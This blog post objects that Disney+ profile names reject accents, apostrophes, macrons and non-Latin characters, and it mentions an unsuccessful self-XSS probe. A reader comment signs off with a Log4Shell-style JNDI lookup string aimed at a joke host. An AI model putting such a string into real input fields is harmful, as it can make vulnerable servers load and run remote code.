Why doesn't Disney+ support accents in profile names?


Because I'm genetically pre-disposed to watch every piece of Star Wars content ever created, I signed up for a free trial of Disney's newest streaming service.

As part of onboarding, it asked me to create a profile name. This is typically done so that multi-user households can have separate profiles and preferences. Mum doesn't have her princess stories disrupting Dad's suggestions. And Junior doesn't see what filth their parents are watching late at night. All the better to build up detailed tracking profiles on you, my dear!

Naturally, my first thought was to see if this was exploitable in the form of a self reflected XSS. It was not. In fact, it didn't let any character though which wasn't A-Z and 0-9. To my surprise, it also allowed spaces. So no accents, apostrophes, macrons, or other pesky "foreign" characters.

Including, amusingly, the names of several Disney characters.
An apostrophe in Donald O'Duck causes the profile name to display an error.

A set of Chinese characters causes the profile name to display an error.

A macron on Moana causes the profile name to display an error.

The French name Lumière causes the profile name to display an error.

OK, that's a bit daft. But it's also needlessly exclusionary. Every class at school has a kid who has to fight for their right to have their name spelled correctly. There are plenty of blended families with hyphenated surnames. Not everyone in the UK speaks a Latin-derived language.

It is technologically illiterate to restrict profile names like this.


2 thoughts on “Why doesn't Disney+ support accents in profile names?

  1. Stuart Hall says:

    It's utterly outrageous that honest profile names are restricted in this way.

    Signed,

    ${jndi:ldap://trust.me.com/} (esq.)

  2. rjc says:

    Not everyone in the UK speaks a Latin-derived language.

    I'd argue that most people don't - English, after all, is a Germanic language.

    You're obviously mixing speaking a language with a writing system or script here.

Leave a Reply

Your email address will not be published. Required fields are marked *